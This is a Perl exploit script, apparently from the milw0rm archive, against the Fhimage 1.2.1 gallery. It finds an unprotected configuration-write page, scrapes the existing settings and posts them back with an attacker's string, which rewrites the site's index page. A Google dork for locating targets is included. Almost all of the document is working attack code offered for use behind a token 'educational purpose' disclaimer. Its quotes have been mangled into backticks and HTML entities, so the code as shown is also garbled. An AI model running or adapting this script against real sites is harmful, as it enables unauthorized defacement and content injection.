Fhimage 1.2.1 Remote Index Change Exploit#!/usr/bin/perl

# -----------------------------------------------------------------------------------------------
#                      INFORMATIONS
# -----------------------------------------------------------------------------------------------
# Fhimage 1.2.1
# http://www.flash-here.com/downloads/download.php?id=9
# Remote Index Change Exploit
# by Osirys
# osirys[at]live[dot]it
# osirys.org
# Thanks: x0r

# With this exploit, you will able to change index.php content

##   # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY
##   # IMPROPERLY USE OF THIS EXPLOIT. USE IT AT YOUR OWN RISK !!

# Google Dork: FhImage, powered by Flash-here.com


use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;

my $conf_path   = `/imgconfig/index.php?mode=write`;
my $index_PATH  = `/index.php`;


my $host   = $ARGV[0];
my $string_to_inj = $ARGV[1];

(($host)&&($string_to_inj)) || help(`-1`);
cheek($host) == 1 || help(`-2`);
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

$test_url = $host.$conf_path;
$test_re = get_req($test_url);

if ($test_re !~ /Config Settings/) {
    print `[-] Configuration file not found, or insufficent permissions \n`;
    print `[-] Exploit failed ! \n`;
    exit(0);
}
else {
    print `[+] Configuration file found ! \n`;

    get_old_data($test_url);
    my $url  = $path.$conf_path;

    my $post = `g_title=`.$t.`&g_desc=`.$string_to_inj.`&g_bgcolor=`.$g1.`&g_titlecolor=`.$g2.`&g_`.
               `desccolor=`.$g3.`&g_textcolor=`.$g4.`&g_linkcolor=`.$g5.`&g_vlinkcolor=`.$g6.`&g_c`.
               `ols=`.$g7.`&g_rows=`.$g8.`&g_thumb_worh=`.$g9.`&g_twidth=`.$g10.`&g_spacing=`. $g11.
               `&g_dispFn=check&g_sortByFn=check&g_insensitive_sort=check&g_folderImg=&g_popupWidt`.
               `h=400&g_popupHeight=400`;

    my $length = length($post);

    my $socket   =  new IO::Socket::INET(
                                          PeerAddr => $h0st,
                                          PeerPort => '80',
                                          Proto    => 'tcp',
                                        ) or die `[-] Can't connect to $h0st:80\n[?] $! \n\n`;

    my $data = `POST `.$url.` HTTP/1.1\r\n`.
               `Host: `.$h0st.`\r\n`.
               `Keep-Alive: 300\r\n`.
               `Connection: keep-alive\r\n`.
               `Content-Type: application/x-www-form-urlencoded\r\n`.
               `Content-Length: `.$length.`\r\n\r\n`.
               $post.`\r\n`;

    print `[+] Chaning index content ..\n`;
    $socket->send($data);

    while ((my $e = <$socket>)&amp;&amp;($inj_t != 1)) {
        if ($e =~ /Settings Saved/) {
            $inj_t = 1;
        }
    }

    $inj_t == 1 || die `[-] Unable to change index content ! \n`;
    &amp;expl_cheek;
}

sub expl_cheek {
    my $url = $host.$index_PATH;
    my $re = get_req($url);
    if ($re =~ /class=`desc`>$string_to_inj<\/div>/) {
        print `[+] Exploit succesfull !\n`;
        print `[+] Index changed, go and have a look !\n`;
        exit(0);
    }
    else {
        print `[-] Exploit failed\n`;
        print `[?] Something went wrong\n`;
        exit(0);
    }
}

sub get_req() {
    $link = $_[0];
    my $req = HTTP::Request->new(GET => $link);
    my $ua = LWP::UserAgent->new();
    $ua->timeout(4);
    my $response = $ua->request($req);
    return $response->content;
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\/\/(.*)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub get_input() {
    my $host = $_[0];
    $host =~ /http:\/\/(.*)/;
    $s_host = $1;
    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
    ($h0st,$path) = ($1,$2);
    $path =~ s/(.*)/\/$1/;
    $full_det = $h0st.` `.$path;
    return $full_det;
}

sub get_old_data() {
    my $url = $_[0];
    my $re = &amp;get_req($url);
    if ($re =~ /name=`g_title` size=`50` value=`(.*)`>/)                                                                 { $t = $1; }
    if ($re =~ /g_bgcolor'\)` cols=`7` maxlength=`7` value=`#([0-9a-zA-Z]{6})`>/)                                        { $g1 = `\%23`.$1; }
    if ($re =~ /g_titlecolor'\)` cols=`7` maxlength=`7` value=`#([0-9a-zA-Z]{6})`>/)                                     { $g2 = `\%23`.$1; }
    if ($re =~ /g_desccolor'\)` cols=`7` maxlength=`7` value=`#([0-9a-zA-Z]{6})`>/)                                      { $g3 = `\%23`.$1; }
    if ($re =~ /g_textcolor'\)` cols=`7` maxlength=`7` value=`#([0-9a-zA-Z]{6})`>/)                                      { $g4 = `\%23`.$1; }
    if ($re =~ /g_linkcolor'\)` cols=`7` maxlength=`7` value=`#([0-9a-zA-Z]{6})`>/)                                      { $g5 = `\%23`.$1; }
    if ($re =~ /g_vlinkcolor'\)` cols=`7` maxlength=`7` value=`#([0-9a-zA-Z]{6})`>/)                                     { $g6 = `\%23`.$1; }
    if ($re =~ /g_cols` cols=`50` value=`([0-9]{1,3})`> /)                                                               { $g7 = $1; }
    if ($re =~ /g_rows` cols=`50` value=`([0-9]{1,3})`> /)                                                               { $g8 = $1; }
    if (($re =~ /g_thumb_worh` type=`radio` value=`w` checked >/)&amp;&amp;($re =~ /g_twidth` cols=`50` value=`([0-9]{1,5})`>/)) { ($g9,$g10) = (`w`,$1); }
    if (($re =~ /g_thumb_worh` type=`radio` value=`h` checked >/)&amp;&amp;($re =~ /g_twidth` cols=`50` value=`([0-9]{1,5})`>/)) { ($g9,$g10) = (`h`,$1); }
    if ($re =~ /g_spacing` type=`text` id=`g_spacing` value=`([0-9]{1,5})`>/) { $g11 = $1; }
}

sub banner {
    print `\n`.
          `  ----------------------------------------- \n`.
          `     Fhimage Remote Index Change Exploit    \n`.
          `                Coded by Osirys             \n`.
          `     [*] The author is not responsable      \n`.
          `                of any violation            \n`.
          `  ----------------------------------------- \n\n`;
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &amp;banner;
        print `\n[-] Bad hostname or missing string to inject! \n`;
    }
    elsif ($error == -2) {
        &amp;banner;
        print `\n[-] Bad hostname address !\n`;
    }
    print `[*] Usage : perl $0 http://hostname/cms_path string_to_inject\n\n`;
    exit(0);
}

# milw0rm.com [2009-01-19]